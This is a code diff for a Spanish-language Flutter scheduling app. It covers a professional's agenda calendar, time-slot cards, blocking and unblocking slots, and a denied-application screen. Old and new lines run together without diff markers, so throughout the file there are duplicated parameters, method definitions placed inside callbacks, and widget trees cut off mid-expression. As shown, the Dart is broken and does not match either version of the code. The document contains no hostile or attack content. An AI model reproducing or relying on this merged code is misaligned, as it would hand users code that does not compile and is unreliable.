color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadow,
|
||||
blurRadius: 16,
|
||||
offset: const Offset(0, 4))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
child: TableCalendar(
|
||||
locale: 'es_MX',
|
||||
firstDay: DateTime.now(),
|
||||
lastDay: lastDay,
|
||||
lastDay: today.add(const Duration(days: 365)),
|
||||
focusedDay: today,
|
||||
availableGestures: AvailableGestures.all,
|
||||
onDaySelected: _onDaySelected,
|
||||
selectedDayPredicate: (day) => isSameDay(day, today),
|
||||
calendarFormat: _calendarFormat,
|
||||
onFormatChanged: _onFormatChange,
|
||||
onFormatChanged: (f) => setState(() => _calendarFormat = f),
|
||||
availableCalendarFormats: const {
|
||||
CalendarFormat.month: 'Mes',
|
||||
CalendarFormat.week: 'Semana',
|
||||
CalendarFormat.twoWeeks: '2 Semanas',
|
||||
},
|
||||
calendarStyle: CalendarStyle(
|
||||
todayDecoration: BoxDecoration(
|
||||
border: Border.all(color: _kPrimary, width: 2),
|
||||
shape: BoxShape.circle),
|
||||
todayTextStyle: const TextStyle(
|
||||
color: _kPrimary, fontWeight: FontWeight.w700),
|
||||
selectedDecoration: const BoxDecoration(
|
||||
color: _kPrimary, shape: BoxShape.circle),
|
||||
selectedTextStyle: const TextStyle(
|
||||
color: Colors.white, fontWeight: FontWeight.w700),
|
||||
weekendTextStyle: TextStyle(color: Colors.red.shade400),
|
||||
defaultTextStyle: TextStyle(color: context.onSurface),
|
||||
outsideDaysVisible: false,
|
||||
),
|
||||
headerStyle: HeaderStyle(
|
||||
formatButtonDecoration: BoxDecoration(
|
||||
border: Border.all(color: _kPrimary.withOpacity(0.4)),
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: Padding(
|
||||
padding:
|
||||
const EdgeInsets.symmetric(horizontal: 15, vertical: 8),
|
||||
child: Text(
|
||||
DateFormat('dd MMMM yyyy', 'es').format(today),
|
||||
style: const TextStyle(
|
||||
color: Colors.black,
|
||||
fontSize: 16,
|
||||
formatButtonTextStyle:
|
||||
const TextStyle(color: _kPrimary, fontSize: 12),
|
||||
titleCentered: true,
|
||||
titleTextStyle: TextStyle(
|
||||
fontSize: 15,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface),
|
||||
leftChevronIcon:
|
||||
const Icon(Icons.chevron_left, color: _kPrimary),
|
||||
rightChevronIcon:
|
||||
const Icon(Icons.chevron_right, color: _kPrimary),
|
||||
),
|
||||
daysOfWeekStyle: DaysOfWeekStyle(
|
||||
weekdayStyle: TextStyle(
|
||||
fontSize: 12,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: context.muted),
|
||||
weekendStyle: const TextStyle(
|
||||
fontSize: 12,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: Color(0xFFEF4444)),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _dayHeader(BuildContext context, ScheduleEntity? schedule, int total,
|
||||
int occupied, int blocked, int available) {
|
||||
final dayName = DateFormat('EEEE', 'es').format(today);
|
||||
final dateStr = DateFormat('d MMMM yyyy', 'es').format(today);
|
||||
final hasSchedule = schedule != null && schedule.enabled && total > 0;
|
||||
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 12, 16, 0),
|
||||
padding: const EdgeInsets.fromLTRB(16, 14, 16, 14),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 12,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
const Divider(
|
||||
height: 0,
|
||||
child: Row(children: [
|
||||
Container(
|
||||
width: 48,
|
||||
height: 52,
|
||||
decoration:
|
||||
BoxDecoration(color: _kPrimary, borderRadius: BorderRadius.circular(12)),
|
||||
child: Column(mainAxisAlignment: MainAxisAlignment.center, children: [
|
||||
Text(DateFormat('d').format(today),
|
||||
style: const TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 20,
|
||||
fontWeight: FontWeight.w800,
|
||||
height: 1)),
|
||||
Text(DateFormat('MMM', 'es').format(today).toUpperCase(),
|
||||
style: const TextStyle(
|
||||
color: Colors.white70,
|
||||
fontSize: 10,
|
||||
fontWeight: FontWeight.w600)),
|
||||
]),
|
||||
),
|
||||
const SizedBox(width: 14),
|
||||
Expanded(
|
||||
child: Column(crossAxisAlignment: CrossAxisAlignment.start, children: [
|
||||
Text(_capitalize(dayName),
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
Text(dateStr, style: TextStyle(fontSize: 12, color: context.subtle)),
|
||||
]),
|
||||
),
|
||||
if (hasSchedule) ...[
|
||||
_StatPill(label: '$occupied', sublabel: 'ocupadas', color: _kOccupied),
|
||||
const SizedBox(width: 8),
|
||||
if (blocked > 0) ...[
|
||||
_StatPill(
|
||||
label: '$blocked', sublabel: 'bloqueadas', color: _kBlocked),
|
||||
const SizedBox(width: 8),
|
||||
],
|
||||
_StatPill(
|
||||
label: '$available', sublabel: 'libres', color: _kAvailable),
|
||||
],
|
||||
]),
|
||||
);
|
||||
}
|
||||
|
||||
List<Widget> _slotCards(
|
||||
BuildContext context, List<TimeOfDay> slots, ServiceState state) {
|
||||
return slots.map((time) {
|
||||
final occ = _isOccupied(time, _services, today);
|
||||
final blocked = _isBlocked(time, _services, today);
|
||||
final taken = occ || blocked;
|
||||
// Free but too close to reserve: still blockable by the professional,
|
||||
// just not offered to patients. Shown greyed so the agenda matches
|
||||
// what the patient sees instead of promising a slot nobody can take.
|
||||
final soon = !taken && !_isBookable(time);
|
||||
final color = occ
|
||||
? _kOccupied
|
||||
: blocked
|
||||
? _kBlocked
|
||||
: soon
|
||||
? Colors.grey
|
||||
: _kAvailable;
|
||||
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 8, 16, 0),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 8,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
child: InkWell(
|
||||
onTap: () =>
|
||||
taken ? _onOccupied(time) : _onAvailable(context, time, state),
|
||||
child: IntrinsicHeight(
|
||||
child: Row(children: [
|
||||
Container(width: 4, color: color),
|
||||
Expanded(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 14, vertical: 12),
|
||||
child: Row(children: [
|
||||
Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 12, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color.withOpacity(0.08),
|
||||
borderRadius: BorderRadius.circular(8)),
|
||||
child: Text(
|
||||
ScheduleEntity.getFormatTime(time) ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 15,
|
||||
fontWeight: FontWeight.w800,
|
||||
color: color),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 14),
|
||||
Expanded(
|
||||
child: SingleChildScrollView(
|
||||
padding: const EdgeInsets.only(bottom: 15),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
..._rangesItems(
|
||||
_getScheduleFromNumDay(numDay), context),
|
||||
Text(
|
||||
occ
|
||||
? 'Ocupado'
|
||||
: blocked
|
||||
? 'Bloqueado'
|
||||
: soon
|
||||
? 'Sin reserva'
|
||||
: 'Disponible',
|
||||
style: TextStyle(
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: color)),
|
||||
Text(
|
||||
occ
|
||||
? 'Toca para ver el servicio'
|
||||
: blocked
|
||||
? 'Toca para liberar el horario'
|
||||
: soon
|
||||
? 'Muy pronto para reservar · toca para bloquear'
|
||||
: 'Horario libre · toca para bloquear',
|
||||
style: TextStyle(
|
||||
fontSize: 11, color: context.subtle),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
)
|
||||
],
|
||||
);
|
||||
},
|
||||
Container(
|
||||
width: 32,
|
||||
height: 32,
|
||||
decoration: BoxDecoration(
|
||||
color: color.withOpacity(0.1),
|
||||
shape: BoxShape.circle),
|
||||
child: Icon(
|
||||
occ
|
||||
? Icons.event_busy_outlined
|
||||
: blocked
|
||||
? Icons.lock_outline
|
||||
: soon
|
||||
? Icons.more_time
|
||||
: Icons.event_available_outlined,
|
||||
size: 17,
|
||||
color: color),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}).toList();
|
||||
}
|
||||
|
||||
ScheduleEntity? _getScheduleFromNumDay(int numDay) {
|
||||
switch (numDay) {
|
||||
case 1:
|
||||
return widget.userProfessional.schedules.monday;
|
||||
case 2:
|
||||
return widget.userProfessional.schedules.tuesday;
|
||||
case 3:
|
||||
return widget.userProfessional.schedules.wednesday;
|
||||
case 4:
|
||||
return widget.userProfessional.schedules.thursday;
|
||||
case 5:
|
||||
return widget.userProfessional.schedules.friday;
|
||||
case 6:
|
||||
return widget.userProfessional.schedules.saturday;
|
||||
case 7:
|
||||
return widget.userProfessional.schedules.sunday;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
List<Widget> _rangesItems(ScheduleEntity? schedule, BuildContext context) {
|
||||
if (schedule == null ||
|
||||
schedule.enabled == false ||
|
||||
schedule.range1Hour1 == null ||
|
||||
schedule.range2Hour2 == null) {
|
||||
return [
|
||||
const Padding(
|
||||
padding: EdgeInsets.symmetric(vertical: 25),
|
||||
child: Text("No hay horarios disponibles"),
|
||||
)
|
||||
];
|
||||
}
|
||||
|
||||
if (schedule.continuousDay) {
|
||||
List<TimeOfDay> ranges = TimeOfDayUtils.genRanges(
|
||||
schedule.range1Hour1!,
|
||||
schedule.range2Hour2!,
|
||||
);
|
||||
|
||||
return rangesItemList(ranges, _services, today, context);
|
||||
}
|
||||
|
||||
List<TimeOfDay> ranges1 = TimeOfDayUtils.genRanges(
|
||||
schedule.range1Hour1!,
|
||||
schedule.range1Hour2!,
|
||||
);
|
||||
List<TimeOfDay> ranges2 = TimeOfDayUtils.genRanges(
|
||||
schedule.range2Hour1!,
|
||||
schedule.range2Hour2!,
|
||||
);
|
||||
|
||||
return [
|
||||
...rangesItemList(ranges1, _services, today, context),
|
||||
...rangesItemList(ranges2, _services, today, context),
|
||||
];
|
||||
}
|
||||
|
||||
bool _isHora1Ocupada(
|
||||
TimeOfDay hora1, List<ServiceEntity>? events, DateTime selectedDay) {
|
||||
if (events != null) {
|
||||
for (ServiceEntity event in events) {
|
||||
if (selectedDay.toString() == event.day) {
|
||||
if (hora1 == event.range1Hour1) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
List<Widget> rangesItemList(List<TimeOfDay> ranges, List<ServiceEntity>? events, DateTime selectedDay, BuildContext context) {
|
||||
return ranges.map((time) {
|
||||
if (_isHora1Ocupada(time, events, selectedDay)) {
|
||||
return Card(
|
||||
elevation: 4,
|
||||
margin: const EdgeInsets.symmetric(vertical: 5, horizontal: 10),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
if (events != null) {
|
||||
for (ServiceEntity event in events) {
|
||||
if (selectedDay.toString() == event.day) {
|
||||
if (time == event.range1Hour1) {
|
||||
if (event.userId == event.professionalId) {
|
||||
void _onOccupied(TimeOfDay time) {
|
||||
final event = _serviceAt(time, _services, today);
|
||||
if (event?.id == null) {
|
||||
// Tapping a busy slot used to do nothing at all when the row came back
|
||||
// without an id, which reads as a frozen screen.
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context)
|
||||
.showSnackBar(const SnackBar(
|
||||
content: Text('Horario ocupado por ti'),
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text('No pudimos abrir esta cita. Desliza para recargar.'),
|
||||
));
|
||||
return;
|
||||
}
|
||||
|
||||
if (event!.status == ServiceStatus.selfBooked) {
|
||||
_confirmUnblock(event.id!, time);
|
||||
} else {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => ProfessionalServiceScreen(
|
||||
serviceId: event.id!,
|
||||
),
|
||||
),
|
||||
builder: (_) => ProfessionalServiceScreen(serviceId: event.id!)),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
contentPadding: const EdgeInsets.all(16),
|
||||
leading: Container(
|
||||
width: 40,
|
||||
height: 40,
|
||||
decoration: const BoxDecoration(
|
||||
gradient: LinearGradient(
|
||||
colors: [Colors.yellow, Colors.red, Colors.red],
|
||||
begin: Alignment.topLeft,
|
||||
end: Alignment.bottomRight,
|
||||
),
|
||||
shape: BoxShape.circle,
|
||||
),
|
||||
child: const Center(
|
||||
child: Icon(
|
||||
Icons.access_time,
|
||||
color: Colors.white,
|
||||
),
|
||||
),
|
||||
),
|
||||
title: Text(
|
||||
ScheduleEntity.getFormatTime(time) ?? '',
|
||||
style: const TextStyle(fontSize: 15, fontWeight: FontWeight.bold),
|
||||
),
|
||||
subtitle: const Text(
|
||||
'Ocupado',
|
||||
style: TextStyle(
|
||||
color: Colors.red, fontSize: 13, fontWeight: FontWeight.bold),
|
||||
),
|
||||
),
|
||||
);
|
||||
} else {
|
||||
return Card(
|
||||
elevation: 4,
|
||||
margin: const EdgeInsets.symmetric(vertical: 5, horizontal: 10),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
|
||||
void _confirmUnblock(String serviceId, TimeOfDay time) {
|
||||
showDialog(
|
||||
context: context,
|
||||
builder: (BuildContext dialogContext) {
|
||||
return AlertDialog(
|
||||
title: const Text('Reservar hora'),
|
||||
content: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
Text(
|
||||
'¿Estás seguro de que deseas reservar a las ${ScheduleEntity.getFormatTime(time)} del ${DateFormat('dd-MM-yyyy').format(today)}?',
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
const Text(
|
||||
'⚠️ Esta accion no se puede deshacer ⚠️',
|
||||
style: TextStyle(fontWeight: FontWeight.bold),
|
||||
),
|
||||
],
|
||||
builder: (dialogContext) => AlertDialog(
|
||||
title: const Text('Desbloquear horario'),
|
||||
content: Text(
|
||||
'¿Quieres liberar el horario de las '
|
||||
'${ScheduleEntity.getFormatTime(time)} '
|
||||
'del ${DateFormat('dd-MM-yyyy').format(today)}?',
|
||||
),
|
||||
actions: [
|
||||
TextButton(
|
||||
onPressed: () {
|
||||
Navigator.pop(dialogContext);
|
||||
},
|
||||
child: const Text('No, cancelar'),
|
||||
onPressed: () => Navigator.pop(dialogContext),
|
||||
child: const Text('Cancelar'),
|
||||
),
|
||||
TextButton(
|
||||
onPressed: () {
|
||||
Navigator.pop(dialogContext);
|
||||
|
||||
Navigator.pop(context);
|
||||
|
||||
context.read<ServiceBloc>().add(
|
||||
CreateService(
|
||||
professionalId: widget.userProfessional.id,
|
||||
userId: widget.userProfessional.id,
|
||||
address: widget.userProfessional.address,
|
||||
aditionalAddress: '',
|
||||
latitude: 0,
|
||||
longitude: 0,
|
||||
day: today.toString(),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
description: '',
|
||||
range1Hour1: time,
|
||||
range1Hour2: time.add(hour: 2),
|
||||
rate: '0',
|
||||
location: ServiceLocationPreferences.office,
|
||||
status: ServiceStatus.selfBooked,
|
||||
),
|
||||
);
|
||||
context
|
||||
.read<ServiceBloc>()
|
||||
.add(UpdateServiceStatus(serviceId, ServiceStatus.cancelled));
|
||||
},
|
||||
child: const Text('Si, reservar'),
|
||||
child: const Text('Desbloquear'),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
/// Blocking is the only action on a free slot.
|
||||
///
|
||||
/// There used to be a second "Reservar" button that created a service with
|
||||
/// the professional as their own patient. It also popped the calendar, and
|
||||
/// the selfBooked status never reached the backend, so the slot came back as
|
||||
/// a pending request the professional had to approve to themselves.
|
||||
void _onAvailable(BuildContext context, TimeOfDay time, ServiceState state) {
|
||||
showDialog(
|
||||
context: context,
|
||||
builder: (dialogContext) => AlertDialog(
|
||||
title: const Text('Bloquear horario'),
|
||||
content: Text(
|
||||
'¿Bloquear las ${ScheduleEntity.getFormatTime(time)} '
|
||||
'del ${DateFormat('dd-MM-yyyy').format(today)}? '
|
||||
'Nadie podrá agendar en esa hora hasta que la liberes.',
|
||||
),
|
||||
actions: [
|
||||
TextButton(
|
||||
onPressed: () => Navigator.pop(dialogContext),
|
||||
child: const Text('Cancelar'),
|
||||
),
|
||||
TextButton(
|
||||
onPressed: () {
|
||||
Navigator.pop(dialogContext);
|
||||
context.read<ServiceBloc>().add(
|
||||
BlockSlot(day: _dayParam(today), hour1: time),
|
||||
);
|
||||
},
|
||||
child: const Text('Bloquear'),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
},
|
||||
contentPadding: const EdgeInsets.all(16),
|
||||
leading: Container(
|
||||
width: 40,
|
||||
height: 40,
|
||||
decoration: const BoxDecoration(
|
||||
gradient: LinearGradient(
|
||||
colors: [Colors.blue, Colors.green],
|
||||
begin: Alignment.topLeft,
|
||||
end: Alignment.bottomRight,
|
||||
}
|
||||
|
||||
/// yyyy-MM-dd, the canonical form the web sends. DateTime.toString() produces
|
||||
/// "2026-08-25 00:00:00.000Z", which happens to pass validation but differs
|
||||
/// between the two clients writing to the same table.
|
||||
static String _dayParam(DateTime d) =>
|
||||
'${d.year.toString().padLeft(4, '0')}-'
|
||||
'${d.month.toString().padLeft(2, '0')}-'
|
||||
'${d.day.toString().padLeft(2, '0')}';
|
||||
|
||||
Widget _loadingState(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 12, 16, 0),
|
||||
padding: const EdgeInsets.symmetric(vertical: 48),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
),
|
||||
shape: BoxShape.circle,
|
||||
child: Column(children: [
|
||||
const CircularProgressIndicator(color: _kPrimary),
|
||||
const SizedBox(height: 14),
|
||||
Text('Cargando tu agenda…',
|
||||
style: TextStyle(fontSize: 13, color: context.muted)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _loadErrorState(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 12, 16, 0),
|
||||
padding: const EdgeInsets.symmetric(vertical: 40, horizontal: 24),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 12,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: const Center(
|
||||
child: Icon(
|
||||
Icons.access_time,
|
||||
color: Colors.white,
|
||||
child: Column(children: [
|
||||
Container(
|
||||
width: 64,
|
||||
height: 64,
|
||||
decoration: BoxDecoration(
|
||||
color: _kOccupied.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: const Icon(Icons.wifi_off_outlined,
|
||||
size: 32, color: _kOccupied),
|
||||
),
|
||||
),
|
||||
),
|
||||
title: Text(
|
||||
ScheduleEntity.getFormatTime(time) ?? '',
|
||||
style: const TextStyle(fontSize: 15, fontWeight: FontWeight.bold),
|
||||
),
|
||||
subtitle: const Text(
|
||||
'Disponible',
|
||||
const SizedBox(height: 16),
|
||||
Text('No se pudo cargar tu agenda',
|
||||
style: TextStyle(
|
||||
color: Colors.green,
|
||||
fontSize: 13,
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
fontSize: 15,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text(
|
||||
'No mostramos horarios para evitar que reserves\nsobre una cita ya agendada.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: context.subtle, height: 1.5)),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(
|
||||
onPressed: _loadServices, child: const Text('Reintentar')),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}).toList();
|
||||
|
||||
Widget _emptyState(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 12, 16, 0),
|
||||
padding: const EdgeInsets.symmetric(vertical: 40, horizontal: 24),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 12,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: Column(children: [
|
||||
Container(
|
||||
width: 64,
|
||||
height: 64,
|
||||
decoration: BoxDecoration(
|
||||
color: context.subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.event_busy_outlined, size: 32, color: context.subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('Sin horario este día',
|
||||
style: TextStyle(
|
||||
fontSize: 15, fontWeight: FontWeight.w700, color: context.muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text(
|
||||
'No tienes horario de atención configurado\npara este día de la semana.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: context.subtle, height: 1.5)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
|
||||
ScheduleEntity? _scheduleFromDay(int day) {
|
||||
switch (day) {
|
||||
case 1: return widget.userProfessional.schedules.monday;
|
||||
case 2: return widget.userProfessional.schedules.tuesday;
|
||||
case 3: return widget.userProfessional.schedules.wednesday;
|
||||
case 4: return widget.userProfessional.schedules.thursday;
|
||||
case 5: return widget.userProfessional.schedules.friday;
|
||||
case 6: return widget.userProfessional.schedules.saturday;
|
||||
default: return widget.userProfessional.schedules.sunday;
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether a patient could still reserve [time] today.
|
||||
bool _isBookable(TimeOfDay time) {
|
||||
final at = DateTime(today.year, today.month, today.day, time.hour, time.minute);
|
||||
return !at.isBefore(DateTime.now().add(kBookingLeadTime));
|
||||
}
|
||||
|
||||
List<TimeOfDay> _buildSlots(ScheduleEntity? s) {
|
||||
// Same generator the patient uses, so "3 libres" here always means three
|
||||
// slots a patient can actually take. The professional keeps a shorter
|
||||
// horizon than the patient's lead time: blocking the next hour is a
|
||||
// legitimate thing to do, booking it is not.
|
||||
return SlotGenerator.forDay(
|
||||
schedule: s,
|
||||
day: today,
|
||||
slotDurationMinutes: widget.userProfessional.slotDurationMinutes,
|
||||
notBefore: DateTime.now(),
|
||||
);
|
||||
}
|
||||
|
||||
/// The still-live service sitting on [time], if any.
|
||||
///
|
||||
/// Cancelled and denied services are ignored on purpose: unblocking a slot
|
||||
/// cancels its service, so counting those would leave the slot looking
|
||||
/// occupied forever and make "desbloquear" appear to do nothing.
|
||||
ServiceEntity? _serviceAt(
|
||||
TimeOfDay time, List<ServiceEntity>? services, DateTime day) {
|
||||
if (services == null) return null;
|
||||
for (final s in services) {
|
||||
if (!isSameServiceDay(day, s.day) || s.range1Hour1 != time) continue;
|
||||
if (s.status == ServiceStatus.cancelled ||
|
||||
s.status == ServiceStatus.denied) {
|
||||
continue;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/// Booked by a client — tapping it opens the service detail.
|
||||
bool _isOccupied(
|
||||
TimeOfDay time, List<ServiceEntity>? services, DateTime day) =>
|
||||
_serviceAt(time, services, day)?.status != null &&
|
||||
_serviceAt(time, services, day)!.status != ServiceStatus.selfBooked;
|
||||
|
||||
/// Reserved by the professional themselves — tapping it offers to release it.
|
||||
bool _isBlocked(
|
||||
TimeOfDay time, List<ServiceEntity>? services, DateTime day) =>
|
||||
_serviceAt(time, services, day)?.status == ServiceStatus.selfBooked;
|
||||
|
||||
String _capitalize(String s) =>
|
||||
s.isEmpty ? s : s[0].toUpperCase() + s.substring(1);
|
||||
}
|
||||
|
||||
class _StatPill extends StatelessWidget {
|
||||
final String label;
|
||||
final String sublabel;
|
||||
final Color color;
|
||||
const _StatPill(
|
||||
{required this.label, required this.sublabel, required this.color});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color.withOpacity(0.08),
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
border: Border.all(color: color.withOpacity(0.25)),
|
||||
),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Text(label,
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.w800,
|
||||
color: color,
|
||||
height: 1)),
|
||||
Text(sublabel,
|
||||
style: TextStyle(
|
||||
fontSize: 9,
|
||||
color: color.withOpacity(0.8),
|
||||
fontWeight: FontWeight.w600)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,13 +1,245 @@
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:prosappco/blocs/authentication_bloc/authentication_bloc.dart';
|
||||
import 'package:prosappco/blocs/my_user_bloc/my_user_bloc.dart';
|
||||
import 'package:prosappco/blocs/professional_bloc/professional_bloc.dart';
|
||||
import 'package:prosappco/screens/professional/professional_form_screen.dart';
|
||||
import 'package:setting_repository/setting_repository.dart';
|
||||
|
||||
class ProfessionalDeniedScreen extends StatelessWidget {
|
||||
class ProfessionalDeniedScreen extends StatefulWidget {
|
||||
const ProfessionalDeniedScreen({super.key});
|
||||
|
||||
@override
|
||||
State<ProfessionalDeniedScreen> createState() =>
|
||||
_ProfessionalDeniedScreenState();
|
||||
}
|
||||
|
||||
class _ProfessionalDeniedScreenState extends State<ProfessionalDeniedScreen> {
|
||||
final settingRepository = Injector.appInstance.get<SettingRepository>();
|
||||
SettingEntity? _settings;
|
||||
bool _loadingSettings = true;
|
||||
bool _isResetting = false;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
settingRepository.getSettings().then((value) {
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
_settings = value;
|
||||
_loadingSettings = false;
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
void _confirmRetry() {
|
||||
showDialog(
|
||||
context: context,
|
||||
builder: (dialogContext) => AlertDialog(
|
||||
title: const Text('Volver a registrarme'),
|
||||
content: const Text(
|
||||
'Esta acción reiniciará tu solicitud de profesional y no se puede deshacer. '
|
||||
'¿Deseas continuar?',
|
||||
),
|
||||
actions: [
|
||||
TextButton(
|
||||
onPressed: () => Navigator.pop(dialogContext),
|
||||
child: const Text('Cancelar'),
|
||||
),
|
||||
TextButton(
|
||||
onPressed: () {
|
||||
Navigator.pop(dialogContext);
|
||||
context
|
||||
.read<ProfessionalBloc>()
|
||||
.add(const ResetProfessionalApplicationEvent());
|
||||
},
|
||||
child: const Text('Continuar'),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocListener<ProfessionalBloc, ProfessionalState>(
|
||||
listener: (context, state) {
|
||||
if (state is ResetProfessionalApplicationLoading) {
|
||||
setState(() => _isResetting = true);
|
||||
} else if (state is ResetProfessionalApplicationSuccess) {
|
||||
setState(() => _isResetting = false);
|
||||
Navigator.of(context).pushReplacement(
|
||||
CupertinoPageRoute(builder: (_) => const ProfessionalFormScreen()),
|
||||
);
|
||||
} else if (state is ProfessionalStateFailure) {
|
||||
setState(() => _isResetting = false);
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('No se pudo reiniciar la solicitud')),
|
||||
);
|
||||
}
|
||||
},
|
||||
child: BlocBuilder<MyUserBloc, MyUserState>(
|
||||
builder: (context, myUserState) {
|
||||
final rejectedAt = myUserState.user?.rejectedAt;
|
||||
// Backend currently ships rejection_wait_days = 0 (no cooldown).
|
||||
// 7 is only the fallback when /settings could not be read.
|
||||
final waitDays = _settings?.rejectionWaitDays?.toInt() ?? 7;
|
||||
|
||||
// Fail-open, same as the web: if we cannot tell when the rejection
|
||||
// happened, assume the wait already elapsed. Locking someone out of
|
||||
// re-applying forever is worse than letting them retry early.
|
||||
final daysElapsed = rejectedAt != null
|
||||
? DateTime.now().difference(rejectedAt).inDays
|
||||
: waitDays;
|
||||
|
||||
final daysLeft = (waitDays - daysElapsed).clamp(0, waitDays);
|
||||
final canRetry = !_loadingSettings && daysLeft == 0;
|
||||
|
||||
return Scaffold(
|
||||
appBar: AppBar(title: const Text('Perfil profesional')),
|
||||
